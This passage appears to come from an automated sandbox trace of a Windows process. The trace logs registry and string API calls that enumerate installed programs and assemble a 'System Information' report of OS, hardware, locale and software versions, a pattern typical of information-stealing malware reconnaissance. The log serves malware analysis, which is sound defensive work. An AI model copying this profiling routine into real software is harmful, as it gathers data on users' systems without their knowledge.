Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n") returned 3095 [0262.309] LocalAlloc (uFlags=0x40, uBytes=0x19a8) returned 0x6e5058 [0262.310] LocalFree (hMem=0x6f35b0) returned 0x0 [0262.310] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.310] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.310] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.310] LocalFree (hMem=0x6bec00) returned 0x0 [0262.310] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.310] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x34, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.311] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.311] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.311] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.311] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpcbData=0x24fac4*=0x7a) returned 0x0 [0262.311] LocalAlloc (uFlags=0x40, uBytes=0x20f4) returned 0x6f35b0 [0262.311] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="11.0.61030.0", lpcbData=0x24facc*=0x1a) returned 0x0 [0262.311] StrStrW (lpFirst="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpSrch="11.0.61030.0") returned 0x0 [0262.311] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n") returned 75 [0262.311] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n", lpSrch="\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n") returned 0x0 [0262.311] lstrlenW (lpString="\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n") returned 75 [0262.311] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n") returned 3156 [0262.311] LocalAlloc (uFlags=0x40, uBytes=0x1a3e) returned 0x6f56b0 [0262.312] LocalFree (hMem=0x6f35b0) returned 0x0 [0262.312] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.313] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.314] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.314] LocalFree (hMem=0x6bec00) returned 0x0 [0262.325] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.325] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x35, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.326] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.326] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.326] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.326] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpcbData=0x24fac4*=0x7a) returned 0x0 [0262.326] LocalAlloc (uFlags=0x40, uBytes=0x20f4) returned 0x6f35b0 [0262.326] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="12.0.30501.0", lpcbData=0x24facc*=0x1a) returned 0x0 [0262.326] StrStrW (lpFirst="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpSrch="12.0.30501.0") returned 0x0 [0262.326] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n") returned 75 [0262.326] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n", lpSrch="\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n") returned 0x0 [0262.326] lstrlenW (lpString="\x09Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 12.0.30501.0\n") returned 75 [0262.326] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 11.0.61030.0\n") returned 3231 [0262.326] LocalAlloc (uFlags=0x40, uBytes=0x1ad4) returned 0x6e5058 [0262.345] LocalFree (hMem=0x6f35b0) returned 0x0 [0262.345] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.346] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.346] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.346] LocalFree (hMem=0x6bec00) returned 0x0 [0262.347] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.347] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x36, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.347] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.347] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.347] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.347] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpcbData=0x24fac4*=0x78) returned 0x0 [0262.347] LocalAlloc (uFlags=0x40, uBytes=0x20f0) returned 0x6f35b0 [0262.347] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="10.0.40219", lpcbData=0x24facc*=0x16) returned 0x0 [0262.347] StrStrW (lpFirst="Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219", lpSrch="10.0.40219") returned="10.0.40219" [0262.347] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 \n") returned 62 [0262.347] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 